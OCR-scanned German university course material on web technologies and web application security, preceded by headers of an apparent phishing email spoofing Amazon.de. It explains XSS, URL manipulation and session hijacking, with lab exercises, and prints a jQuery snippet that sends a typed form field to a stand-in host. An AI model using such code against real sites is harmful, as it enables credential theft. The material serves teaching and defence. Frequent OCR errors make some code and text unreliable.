for <rieger@hs-albsig.de>; Tue, 6 Oct 2015 04:09:50 +0200 (MEST)
env-from (Service@Amazon.de)

Received: from [104.40.201.41] (port=1123 helo=[100.112.76.170])
by goodgood.cloudservers.net.au with esmtpa (Exim 4.85)

(envelope-from <Service@Amazon.de>)

id 1ZjH3p-00047x-KT
for rieger@hs-albsig.de; Tue, 06 Oct 2015 09:28:58 +0800
Message-ID: <EO6W8P6C-HO8I-XTRD-YAN7-THFJZ8F5SEHYC@Amazon.de>
MIME-Version: 1.0
From: <Service@Amazon.de>

To: Martin Rieger <rieger@hs-albsig.de>
Subject: Amazon Kundencenter
Date: Tue, 6 Oct 2015 01:28:57 +0000
Content-Type: text/html; charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable
X-WatchGuard-Spam-ID: str=0001.0A090201.5612F72A.0080,ss=3,sh, re=0.000, recu=0.000, reip=0.000,cl=3,cld=1, fgs=0
X-WatchGuard-Spam-Score: 3, bulk; 0, virus threat unknown
X-WatchGuard-Mail-Client-IP: 104.40.201.41
X-WatchGuard-Mail-From: Service@Amazon.de
X-WatchGuard-Mail-Recipients: rieger@hs-albsig.de
X-WatchGuard-AntiVirus: part scanned. clean action=allow
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - goodgood.cloudservers.net.au
X-AntiAbuse: Original Domain - hs-albsig.de
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - Amazon.de
X-Get-Message-Sender-Via: goodgood.cloudservers.net.au: authenticated_id: test@ifireshop.com.au
X-Source:

X-Source-Args:

X-Source-Dir:

X-WatchGuard-AntiVirus: part scanned. clean action=allow
X-DCC-BelWue-Metrics: csr1l0l.belwue.de 1243; bulk Body=1 Fuzl=1 Fuz2=many
Return-Path: Service@Amazon.de
X-MS-Exchange-Organization-PRD: Amazon.de
X-MS-Exchange-Organization-SenderIdResult: Fail
Received-SPF: Fail (izcmx2.hs-albsig.de: domain of Service@Amazon.de does not
designate 129.143.2.75 as permitted sender) receiver=izcmx2.hs-albsig.de;
client-ip=129.143.2.75; helo=csr101l.belwue.de;
X-MS-Exchange-Organization-Network-Message-Id: f8la768a-7544-45be-310f-08d2cdf338c4
X-MS-Exchange-Organization-AVStamp-Mailbox: Sophos;-1760401150;0;PM
X-MS-Exchange-Organization-AuthSource: izcmx2.hs-albsig.de
X-MS-Exchange-Organization-AuthAs: Anonymous

E-Mail-Clients

Fiir viele Betriebssysteme existieren verschiedene E-Mail-Programme, um E-Mails
zu empfangen, zu verwalten und zu senden. Sie unterscheiden sich dabei in ih-
rem Funktionsumfang und Bedienungskonzept. Bekannte E-Mail-Programme fiir
Windows sind Outlook von Microsoft und Thunderbird von Mozilla.

Als Webmail werden Dienste im World Wide Web bezeichnet, welche die Verwal-
tung von E-Mails mit einem Webbrowser ermoglichen. Standardméfiig sind ein
Adressbuch und Dateiverzeichnis integriert. Viele Internetserviceprovider bieten
Webmail als Erganzung zu ihrem Service an. Vorteilhaft sind die geringen Anforde-
rungen, da E-Mails von jedem Computer mit Internetanbindung und Webbrowser
verfiigbar sind. Zudem ist der letzte Stand der Bearbeitung des Postfachs (z. B.
gelesene, verschobene, gelschte E-Mails, Adressbuch) tiberall der gleiche, egal ob
man von zu Hause, im Biiro oder im Urlaub auf seine E-Mail zugreift. Nachteilig
ist, dass die Weboberfldchen im Vergleich zu gingigen E-Mail-Clients teils weniger
Funktionen beherrschen. Insbesondere bei der mobilen Bearbeitung von Mails
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4.1 Lernergebnisse

Im Studienbrief ,,World Wide Web” lernen Sie das Zusammenspiel der verschie-
denen Techniken von Websites kennen, um diese einordnen zu konnen. Dadurch
konnen Sie Websites analysieren und erkennen, welche Technologien potenziell
fiir einen Angriff anfallig sind.

4.2 Advance Organizer

Fiir den Studienbrief ,World Wide Web” sind praktische Erfahrungen im Umgang
mit dem Internet empfehlenswert. Dazu gehort die Verwendung von gangigen
Webbrowsern. Des Weiteren sind Kenntnisse tiber HTML und JavaScript empfeh-
lenswert. Zum Modul Internettechnologien werden die Mikromodule "Program-
mieren in HTML 5 und CSSiind "Programmieren in JavaScriptangeboten.

4.3 Technik

Die wesentliche Kommunikation im World Wide Web findet zwischen dem Web-
browser (siehe Abschnitt 4.5 auf Seite 127) und dem Webserver (sieche Abschnitt
4.6 auf Seite 129) statt. Um eine Website aufzurufen, schickt der Webbrowser eine
Anfrage an den Webserver; als Antwort sendet er die notwendigen Dateien an den
Webbrowser. Die Kommunikation dafiir findet primaér {iber das HTTP-Protokoll
statt. Die nachfolgende Grafik (Abb. 4.1) zeigt schematisch die World-Wide-Web-
Komponenten. Die einzelnen Komponenten werden in den nachfolgenden Ab-
schnitten behandelt.

Client Server

Webbrowser Webserver

HTML & CSS HTML & CSS
— Internet —
pavascript__Jf m—— v

Ubertragung@Ubertragung]UbertragungZum Anzeigen einer Webseite werden
die entsprechend eingebundenen Inhalte einzeln vom Server zum Client iibertra-
gen. Das bedeutet, wahrend des Aufbaus einer Webseite wird fiir jede benétigte
Datei (z. B. Bilddateien, ...) eine Anfrage vom Client an den Server gesendet. Der
Webserver antwortet und startet die Ubertragung der angeforderten Datei. Fiir
die Darstellung einer komplexen Webseite sind somit mehrere 100 Anfragen und
Antworten des Servers notwendig.

4.3.1 Hypertext Transfer Protocol

Das Hypertext Transfer Protocol (HTTP) ist ein Protokoll zur Ubertragung von
Daten tiber ein Netzwerk. Es wird hauptséchlich eingesetzt, um Webseiten aus dem
World Wide Web (WWW) in einen Webbrowser zu laden. Die Kommunikation
zwischen einem Client und dem Server erfolgt iiber die zwei unterschiedlichen

Kommunikation

Abb. 4.1: Word-Wide-Web-
Komponenten

HTTP
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Beispiel 4.5: Formular-Sicherheit

Die Eingabe von Inhalten tiber Formulare ist eine Funktion, die schon lange
zur Verfligung steht und damit zu den Kernelementen zdhlt. Allerdings
werden dartiiber Daten zum Server gesendet, was somit einer Schnittelle
gleich kommt. Und damit existiert eine grundséatzliche Methode, womit
ein Angreifer komprimierte Daten an einen Server senden kann. Denn als
grundsétzliche Regel gilt: Es sollte nie der Eingabe eines Benutzers vertraut
werden. Jede Eingabe muss gefiltert werden. Den auch wenn ein Formular
nur bestimmte Eingabe ermdglicht, kann es manipuliert werden und so
bosartige Inhalte versenden.

Exkurs 4.3: Weitere HTML-Elemente

Da die Vorstellung aller HTML-Elemente den Rahmen diese Studienbriefs
deutlich sprengen wiirde, wurden hier nur exemplarisch einige wichtige
Elemente vorgestellt. Eine gute Ubersicht iiber weitere HTML-Elemente fin-
den Sie auf Selfhtml http://de.selfhtml.org/html/. Dies ist eine Internet-
Dokumentation, die sich mit den verschiedenen Aspekten der Erstellung
von Webseiten befasst.

Zum Modul Internettechnologien wird ein Mikromodul "Programmieren
in HTML 5 und CSSéngeboten.

Kontrollaufgabe 4.5: HTML-Seite mit Formular

Fiigen Sie Quelltext 4.5 in Quelltext 4.1 ein.

Formatieren und beschriften Sie die Eingabefelder. Dazu kénnen Sie z. B.
Zeilenumbriiche oder Tabellen verwenden.

Erproben Sie die neue Seite "my_form.html" im Browser.

4.4.2 Cascading Style Sheets

In den Anfangszeiten des World Wide Webs wurden Eigenschaften zur Gestal-
tung direkt per Attribut eines Elements festgelegt. Mittlerweile wird eine Tren-
nung des Inhalts und der Gestaltung angestrebt, weshalb viele normale HTML-
Formatierungen heute als deprecated (engl.: abgelehnt) gelten. Stattdessen wird die
Formatierungssprache Cascading Style Sheets (CSS) verwendet. Stylesheets dienen
der sauberen Trennung von Layout und den eigentlichen Inhalten einer HTML-
Seite. Die gewiinschten Formatierungen kdnnen sogar in externen CSS-Dateien
abgelegt und in mehreren HTML-Dokumenten wieder eingebunden werden. Die
einmalig festgelegte Gestaltung gilt dann fiir die entsprechenden Websites. Das hat
den Vorteil, dass der Quelltext tibersichtlicher ist. AufSerdem lassen sich mit Style-
sheets HTML-Elemente detaillierter definieren als mit den veralteten Moglichkei-
ten von HTML. Die Formatierungen lassen sich entweder in der Datei selbst oder
in einer separaten CSS-Datei definieren. Eine Kombination von beidem ist auch
moglich, um z. B. ein allgemeines Design zu iibernehmen und es mit seitenspe-
zifischen Formatierungen zu verfeinern. Der Quellcode 4.6 zeigt drei Methoden,
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wie CSS-Deklarationen definiert werden konnen. Quellcode 4.7 zeigt ein einfaches

Beispiel, wodurch alle Links rot gefdarbt werden.

1

=
2

Q1 = W

15

16

Quelltext 4.6: CSS in HTML einbinden

<IDOCTYPE HTML>

<html>
<head>
<title>0Open C3S</title>
<!-- externe (CSS-Datei wird eingebunden -->

<link rel="stylesheet" type="text/css" href="formate.css">
<!-- zentrale (SS-Deklarationen innerhalb einer HTML-Datei
-->
<style type="text/css">
/* CSS-Deklarationen =/
</style>
</head>
<body>
<l-- einzelne (CSS-Deklaration -->
<hl style="color: red;">Headline</hl>
</body>
</html>

Quelltext 4.7: CSS-Beispiel

af
color: red;

}

Beispiel 4.6: CSS-Sicherheit

In der ersten Version von CSS war es nur moglich, das Aussehen von Elemen-
ten zu verandern. Mit den fortschreitenden Versionen kamen immer neue
Funktionen hinzu. Zum Beispiel gibt es die Moglichkeit, tiber den Befehl
opacity ein Element transparent zu machen. Dies wurde ausgenutzt, um
einen Link, der zu 1% sichtbar ist, also so gut wie nicht mehr wahrnehmbar
ist, iiber einem anderen Link zu positionieren, auf den ein Benutzer klicken
kann. Dies wurde von den Webbrowserherstellern gelost, indem Elemente
unter einer bestimmten Schwelle nicht mehr auswéahlbar sind. Ein anderes
Beispiel ist das Hinzuftigen von Inhalten tiber den Befehl content. Damit
konnen Inhalte auf einer Seite erscheinen, die per CSS eingebunden werden
und nicht im HTML-Code auftauchen. Durch diese Fahigkeiten von CSS
ist es wichtig, darauf zu achten, dass ein Angreifer keine Moglichkeiten
hat, einen eigenen CSS-Code einzuschleusen. Daher muss jede Eingabe von
Benutzern auch auf CSS-Code untersucht werden.
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ASP.NET-Beispiel

PHP

Funktionsweise

PHP-Beispiel

einer .aspx-Datei in der Form <% — dynamic code — %> hinterlegt. Diese Art der
Einbettung dhnelt stark den Konstrukten anderer Web-Programmiersprachen wie
PHP, JSP und ASP. Allerdings forciert Microsoft mit verschiedenen Ansétzen eine
stiarkere Trennung.

Das nachfolgende Beispiel im Quelltext 4.12 zeigt, wie ASP.NET in einer HTML-
Datei integriert sein kann. Dabei fithrt ASPNET nur den Teil innerhalb von <%
und %> aus.

Quelltext 4.12: ASP.NET-Beispiel

1 <!DOCTYPE HTML>

2 <html>

3 <head>

4 <title>0Open C3S</title>
5 </head>

6 <body>

7 <\%

8 Response.Write "ASP.NET Ausgabe"
9 \%>

10 </body>
11 </html>

PHP: Hypertext Preprocessor

PHP: Hypertext Preprocessor (PHP) ist eine Skriptsprache mit einer an die Program-
miersprachen C und Perl angelehnten Syntax, die hauptséchlich zur Erstellung
dynamischer Webseiten oder Webanwendungen verwendet wird. PHP zeichnet
sich durch die breite Datenbankunterstiitzung und Internetprotokolleinbindung
aus. PHP wird auf ca. 77,8 % aller Websites als serverseitige Programmiersprache
eingesetzt und ist damit die am h&ufigsten verwendete Sprache zum Erstellen von
Websites, Tendenz steigend. Zudem ist sie bei den meisten Webhostern vorinstal-
liert. PHP wird als freie Software unter der PHP-Lizenz verbreitet.

PHP-Dateien werden bei einem Aufruf durch einen Webbrowser erst serverseitig
verarbeitet, und dann ausgeliefert. Dadurch konnen dynamische Inhalte, wie zum
Beispiel Daten aus einer Datenbank, in eine HTML-Seite eingefiigt werden. Um
eine PHP-Datei ausfiihren zu kénnen, benétigt man einen Webserver, der die PHP-
Anweisungen interpretieren kann. Die Kombination von Linux/Windows/OS
X als Betriebssystem, Apache als Webserver, MySQL als Datenbanksystem und
PHP wird LAMP (fiir Linux), WAMP (fiir Windows) oder MAMP (fiir OS X)
genannt. Fertige LAMP-, MAMP- und WAMP-Pakete, die das einzelne Laden und
Konfigurieren von Paketen aus dem Internet unnétig machen, werden etwa im
Projekt XAMPP entwickelt. Hier gibt es Versionen fiir Linux, Solaris, Windows
und Mac OS X.

Das nachfolgende Beispiel in Quelltext 4.13 zeigt, wie PHP in einer HTML-Datei
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5.1 Lernergebnisse

Im Studienbrief ,,Web Applications Security” lernen Sie den Aufbau der Architek-
tur dieser Anwendungen kennen, und welche Aspekte besonders fiir die Sicherheit
relevant sind. Anschlieffend werden konkrete Angriffsvektoren betrachtet, die mit
einer Demo-Plattform konkret nachvollzogen werden koénnen.

5.2 Advance Organizer

Fiir den Studienbrief ,Web Applications Security” sind praktische Erfahrungen im
Umgang mit dem World Wide Web empfehlenswert. Des Weiteren sind Kenntnisse
tber die Struktur von Websites von Vorteil. Dieser Studienbrief baut auf dem
vorherigen Studienbrief ,World Wide Web” auf.

5.3 Webbasierte Anwendungen

Mit webbasierten Anwendungen werden Programme beschrieben, die dem An-
schein nach im Fenster des Webbrowsers ablaufen. Allerdings wird die eigentliche
Programmlogik von einem Webserver bereitgestellt. Der Webbrowser stellt nur
die Schnittstelle zwischen einem Benutzer und der Anwendung dar. Eine ent-
sprechende Anwendung (z. B. PHP, SQL, Java, etc.) generiert als Antwort den
entsprechenden HTML-Quellcode und sendet diesen zurtick an den Webbrowser.
Prinzipiell gesehen ist die Webseite somit die grafische Benutzeroberfldche der
Webanwendung auf dem Server. Viele klassische Anwendungen kénnen als webba-
sierte Anwendungen realisiert werden. Der aktuelle Trend zur Dezentralisierung
bzw. Auslagerung von Anwendungen und Daten ist sehr ausgepréagt. Dadurch
geraten Webanwendungen immer héufiger in den Fokus von Hackern.

Beispiel 5.1: Webmail

Webmailer gehéren mitunter zu den schon am ldngsten bestehenden und
am weitesten verbreiteten Web Applications. Durch die grofie Verbreitung
des E-Mail-Dienstes bestand schon friih die Bestrebung, E-Mails auch tiber
den Webbrowser abzurufen. Mittlerweile sind Webmailer so verbreitet, dass
einige Benutzer gar keine traditionelle Desktop-Clients mehr verwenden,
bzw. diese gar nicht kennen.

5.3.1 Funktionsweise

Mit dem Erwerb einer Anwendung, die fiir die lokale Installation auf dem Rechner
gedacht ist, wird nur eine Lizenz zur Nutzung der Anwendung erworben und nicht
die Anwendung selbst. Die Anwendung wird von einem Anbieter bereitgestellt.
Der Benutzer einer Anwendung kann diese lokal auf einen dafiir vorgesehenen
Rechner unter Beachtung der Nutzungslizenz installieren. Der Kdufer muss die
Installation und eventuell notwendige Aktualisierungen der Anwendung selbst
vornehmen. Dabei muss er auch den Rechner bereitstellen, auf dem die Anwen-
dung lokal laufen soll.

Eine Webanwendung hingegen wird auf einem Webserver betrieben. Der Zugriff
auf die Webanwendung und die Interaktion mit ihr erfolgen tiber einen Webbrow-
ser. Durch den Zugriff iiber das Web spielt es fiir den Benutzer keine Rolle, wo
sich der Webserver mit der Webanwendung befindet. Aufierdem ist es unwichtig

Anwendungen im
Webbrowser

lokal installierte An-
wendungen

Webanwendungen
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K Kontrollaufgabe 5.10: Angreifer und Angriffsart
Ein Unternehmen sei folgenden IT-Angriffen ausgesetzt

Struktur

Verschleierung

Werkzeuge

a Trojaner-Malware

b IP-Spoofing bei Server-Anfrage

¢ Sniffen von IP-Netzwerkverkehr (z. B. Mail)
d Software-Keylogger

Erldutern Sie fiir jeden obengenannten Angreifer die Art welche verwendet
wird.

5.4.2 Angriffe auf Client-Ebene

Auf der Client-Ebene wird versucht, Schwachstellen im Code auszunutzen, damit
der Webbrowser des Opfers eine nicht vorgesehene Aktion ausfiihrt.

Quelltext-Analyse

Bei der Untersuchung einer Web Application ist der erste Schritt die Analyse des
Quelltextes, also der vom Server ausgelieferter HTML-Code und aller dazugehori-
ger zusatzlicher Dateien (z. B. JavaScript, CSS, Grafiken, ...). Der Quelltext einer
Website kann zum Beispiel in einem Webbrowser angezeigt werden. Interessant
sind hierbei alle Elemente, {iber die ein Benutzer mit einem Webserver kommu-
nizieren kann. Dazu gehoren zum Beispiel Formulare, die an dem <form>-Tag
erkennbar sind. Formulare kénnen aber auch mit JavaScript ausgelesen werden
und miissen daher nicht immer einen <form>-Tag besitzen. Stattdessen miissen
die einzelnen <input>-Felder analysiert werden. Hier sollte dann im JavaScript-
Code nach den IDs der <input >-Felder und die weitere Verarbeitung untersucht
werden.

Wenn sensible Inhalte im Quelltext vorhanden sind, werden hédufig Methoden
zur Verschleierung eingesetzt. Zum Teil werden Variablen durch nichtssagenden
Bezeichner ersetzt (z. B. aus benutzernamen wird a) und alle Umbriiche und unnoti-
gen Leerzeichen werden geldscht. Dies soll das Lesen des Quelltextes unméglich
machen. Zum Teil kann dies aber mit Tools riickgidngig gemacht werden und mit
dem entsprechendem Zeitaufwand kann jeder Quelltext wieder lesbar gemacht
werden. Andere Methoden, die Inhalte zu verschleiern, sind die Verwendung
von anderen Kodierungen wie base64 oder die Verwendung von hexadezimalen
Zahlen anstatt von dezimal Zahlen.

Fiir die Analyse des generierten Quelltextes von Websites stehen diverse Tools zur
Verfligung. Ein vielseitiges Tool zur Untersuchung ist das Webbrowser Add-On
Firebug! in Firefox. Nach der Installation wird ein neuer Eintrag im Kontextmenii
hinzugefiigt. Klicken Sie einfach mit der rechten Maustaste auf ein Element, wel-
ches Sie untersuchen méchten und wéhlen Sie die Option , Element mit Firebug
untersuchen” aus. Danach wird die entsprechende Stelle des Quelltextes in Firebug
angezeigt, die Abbildung 5.3 zeigt dies. Mit Firebug kénnen auch tibersichtlich
alle Requests analysiert werden und zum Beispiel nach bestimmten Typen gefiltert
werden oder weitere Details eingesehen werden. Abbildung 5.4 zeigt zum Beispiel
die tibermittelten Daten per POST.

1 http://getfirebug.com
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Passwort

# Y ¢ > )= CKonsole HIML~ €SS Skript DOM Netzwerk Cookies Psu clektor | A | v | BEE
I | Bearbeiten | input#pw < form < div#ub-shub < main < body < html Styles * | Berechnet Llayout DOM Ercignisse >
A neml { css.php (Zeile 1) ™
fontosize: lepx !imporsanti
1
neml { css.php (Zeile 1)
fontosize: lapk !imporsants
}
html { css.php (Zeile 1)
font-size: 12px limportant;
}
[c1ebel for="password™[Rasswortc/label:] neml, vody, atv, span, css.php (Zeile 1)
applec, object, iframe,

n1, h2, h3, he, hS, hE, p,
blockquote, pre, a, abbz,
scronym, address, big,
cite, code, del, dfn, em,
img, ins, kbd, q, =, samp,
v small, strike, strong, v

Passwort

Y € » = Konsole HIML (CSS Skript DOM | Netzwerk | Cookies ~|v| BE@
Ui | Leeren Dauerhaft ||Alles | HTML €SS lJavaScript XHR Bilder Plug-ins Medien Schriften
| URL | Status Domain | GroBe Remote-1P Zeitlinie -
= POST ?n=ub-sh 200 OK dev.cyber-security4ab.de 6378 87.98.247.40:80
Parameter Header Post Antwort HTML Cache Cookies
Parameter
login-ub-sh login
password test
user test
Quelle
user=test&password=test&login-ub-sh=login
1 Anfrage 6378 37ms (onload: 230ms)

Kontrollaufgabe 5.11: Quelltext-Analyse

Wie konnen Inhalte im Quelltext versteckt werden?

URL-Manipulation

Da tiiber die URL Parameter per GET {iibergeben werden koénnen, erfolgt somit
eine Eingabe gegeniiber dem Server. Da diese Daten sehr einfach gedndert werden
konnen, wird dies sehr hédufig fiir Angriffe ausgenutzt. Im einfachsten Fall kann
eine ID in einer URL geédndert werden, um eine Seite anzuzeigen die normalerweise
nicht direkt aufrufbar ist. Das nachfolgende Beispiel zeigt, wie ein Artikel mit der
ID 2 aufgerufen werden kann:

Original: http://example.com/article.php?id=1
Manipuliert: http:/fexample.com/article.php?id=2

Dartiber hinaus kann bei solch einem Angriff versucht werden, den Benutzerna-
men zu wechseln oder in ein Verzeichnis zu gelangen, auf welches normalerweise
nur der Administrator Zugriff hat. Viele unerfahrene Webentwickler verfallen
der Wunschvorstellung, dass Seiten, die nirgends verlinkt sind, auch von nieman-
dem aufgerufen wird. Das dies aber sehr hédufig ein Trugschluss ist, haben die
vielen Vorfélle in der Vergangenheit gezeigt. Denn alleine durch das Ausprobie-
ren von typischen ,Begriffen” wie admin, user, config oder edit kann man solche
,unbekannten Zuginge” erraten.

Abb. 5.3: Analyse des
Quelltextes in Firebug

Abb. 5.4: Analyse der
Ubertragenen Daten in
Firebug

Parametermanipulation
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Passwart

# b ¢ Y= Konsole HTML €SS Skript DOM Netzwerk | Gookies v P Im Cookies Pancl suchen | & | v | BIEIE
Cookies ~ Filter =~ Standard (Sitzungs-Cookies akzeptieren) -
Name 4 Wert | Domain OriginalgroBe | Pfad Verfallsdatum | Httponly | Sicherheit
= ub_sh_login false dev.cyber-security-ab.de 168 [ Sitzung
Wert
false
# ub_sh_session 0 dev.cyber-security-4ab.de 14B I Sitzung
Schutzmechanismen

Um Session-Hijacking zu verhindern, sollte immer eine HTTPS-Verbindung ge-
nutzt werden, damit der Datenverkehr nicht im Klartext abgefangen werden kann.
Zusitzlich sollte die Cookie-Einstellung auf secure gesetzt werden, damit werden
Cookies ausschliefslich tiber HTTPS-Verbindungen tibertragen. Des Weiteren sollte
ebenfalls auf das Attribut HttpOnly gesetzt gesetzt werden, damit nicht per Ja-
vaScript auf das Cookie zugegriffen werden kann. Eine andere Methode ist das
Speichern von zusitzlichen Informationen, die bei jedem Aufruf iiberpriift werden
koénnen. Dazu gehort zum Beispiel die IP-Adresse oder der User-Agent-Header-
Eintrag.

Kontrollaufgabe 5.15: Session Hijacking

Wie kann auf ein Cookie zugegriffen werden?

Cross-Site-Authentication-Attacke

Bei der Cross-Site-Authentication-Attacke handelt es sich um eine Methode, um
Anmeldeinformationen mit Schadcode auszuspionieren. Dazu wird entweder
dem Besucher ein Login vorgegaukelt, welches ihn verleiten soll, das korrekte
Passwort einzugeben oder ein vorhandener Login wird per JavaScript ausgelesen.
Diese Angriffsart baut auf der Cross-Site-Scripting-Methode auf, da hier Code
eingeschleust wird, um einen Login auszuspéhen.

Angreifer nutzen hdufig bereits vorhandene JavaScript-Bibliotheken aus, um Cross-
Site-Authentication-Attacken durchzufiihren. jQuery? ist die am haufigsten ver-
wendete Bibliothek und daher fiir Angreifer besonders interessant. Das folgende
Beispiel zeigt einen Beispielcode, der das Stichwort eines Suchfeldes per Ajax an
einen Server schickt. Der erste Quelltext 5.1 zeigt ein Eingabefeld und einen Button.
Beide besitzen eine eindeutige ID, tiber die sie angesprochen werden kénnen. Der
zweite Quelltext 5.2 zeigt den Schadcode, der die Funktionen von jQuery nutzt.
Die erste Zeile mit der Methode mousedown sorgt dafiir, dass die nachfolgenden
Befehle ausgefiihrt werden, sobald die Maustaste betétigt wird. Hier muss eine
Methode verwendet werden, die moglichst friih ausgefiihrt wird, damit der Befehl
noch vor dem eigentlichen Absenden des Formulars ausgefiihrt wird. Die nédchs-
te Zeile liest den Inhalt des Eingabefeldes aus und speichert ihn in der Variable
g. In der darauffolgenden Zeile steht der Befehl, der die Daten per Ajax an den
Server schickt. In diesem Fall werden die Daten per POST-Methode an die URL

3 http://query.com

Abb. 5.9: Screenshot des
Reiter ,,Cookie” in Firebug

Cookie

Anmeldeinformationen

Beispiel
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XSS

Kommunikation

http:/fexample.com/test.php tibertragen. Dabei wird der Inhalt der Variablen g im
POST-Feld begriff tibertragen.

Quelltext 5.1: Formularfeld

I <input id="begriff" name="begriff" type="text">
2 <input id="button" name="button" type="submit" value="suchen">

Quelltext 5.2: Schadcode

1 $("#button") .mousedown (function(){

2 var q = $("#begriff").val();

3 $.post("http://example.com/test.php", {begriff: q} );
41);

Schutzmechanismen

Da diese Mafinahme auf Cross-Site-Scripting aufbaut, gelten hier die gleichen
Schutzmechanismen. Wie immer gilt es, da jede Eingabe durch Benutzer gefiltert
werden muss.

Kontrollaufgabe 5.16: Cross-Site-Authentication

Bei welcher Aktion wird der Cross-Site-Authentication-Angriff ausge-
fiihrt?

5.4.3 Angriffe auf Netzwerk-Ebene

Auf der Netzwerk-Ebene wird versucht, die Kommunikation zwischen Client und
Server entweder abzufangen, zu manipulieren oder ganz zu unterbinden.

Denial-of-Service

Eine Denial-of-Service-Attacke (auch als DoS-Attacke abgekiirzt) ist ein Angriff,
der dazu fiihren soll, dass eine Website temporér, oder in besonders extremen
Fillen auch dauerhaft, nicht mehr erreicht werden kann. DoS-Attacken sind in
der Regel nichts weiter als Cyber-Vandalismus, die bei Unzufriedenheit mit einer
Situation eingesetzt wird. Dies kommt relativ hdufig vor, da viele Tools existieren,
die ohne tieferes Know-how bedient werden konnen. Die Software Low Orbit
Ion Cannon (siehe Abbildung 5.10) wird durch die einfache Bedienbarkeit hdufig
eingesetzt [Ziegler, 2014, S. 103].

Definition 5.1: Denial-of-Service

Denial-of-Service-Attacken sind Angriffe mit dem Ziel, die Nutzung von
Dienste oder einer bestimmten Ressource eines Rechners/Servers so zu ma-
nipulieren, dass diese fiir einen berechtigten Benutzer oder einen grofieren
Benutzerkreis nicht mehr zu Verfiigung stehen.
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Ubung 5.1: Quelltext-Analyse .

Analysieren Sie auf der Demo-Plattform den Quelltext des Logins unter
,Ubungen” > 1. Quelltext-Analyse”. Wie lautet das Klartext-Passwort fiir
den Login?

Ubung 5.2: URL-Manipulation .

Analysieren Sie auf der Demo-Plattform den Login unter ,,Ubungen” > 2.
URL-Manipulation”. Wie kann hier die URL manipuliert werden, damit Sie
als Admin angemeldet sind?

Ubung 5.3: Cross-Site-Scripting (reflected) .

Analysieren Sie auf der Demo-Plattform den Login unter ,Ubungen” > 3.
Cross-Site-Scripting (reflected)”. Schleusen Sie einen temporéaren JavaScript-
Code in diese Seite ein. Erzeugen Sie zur Bestadtigung ein Dialogfenster mit
dem Befehl alert(), das die Meldung ,,Open C3S” ausgibt.

Ubung 5.4: Cross-Site-Scripting (persistent) .

Analysieren Sie auf der Demo-Plattform den Login unter ,Ubungen” >
4. Cross-Site-Scripting (persistent)”. Schleusen Sie einen JavaScript-Code
dauerhaft in diese Seite ein. Erzeugen Sie zur Bestitigung ein Dialogfenster
mit dem Befehl alert(), das die Meldung ,Open C35” ausgibt.

Ubung 5.5: Session Hijacking — Cookie manipulieren %0

Analysieren Sie auf der Demo-Plattform den Login unter ,,Ubungen” > 5.
Session Hijacking — Cookie manipulieren”. Manipulieren Sie so die vorhan-
denen Cookie-Eintrdge, damit sie angemeldet sind. Installieren Sie dazu das
Webbrowser Add-On , Firebug”. Verwenden Sie dazu die folgende Session-
ID:

042fe0176a89aadel 6edb0e8665db4e9

Ubung 5.6: Session Hijacking — Cookie klauen .

Analysieren Sie auf der Demo-Plattform den Login unter ,Ubungen” > 6.
Session Hijacking — Cookie klauen". Lesen Sie die vorhandenen Cookie-
Eintradge mit JavaScript aus und geben Sie diese zur Bestédtigung in einem
Dialogfenster mit dem Befehl alert() aus.
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Zertifikatsprogramm

Die Zertifikatsmodule auf wissenschaftlichem Niveau und mit hohem Praxisbezug bilden ein passge-
naues Angebot an Qualifikation und Spezialisierung in der nebenberuflichen Weiterbildung. Damit
kdnnen einzelne Module nebenberuflich studiert werden. Durch die Vergabe von ECTS-Punkten kon-
nen sie auf ein Studium angerechnet werden.
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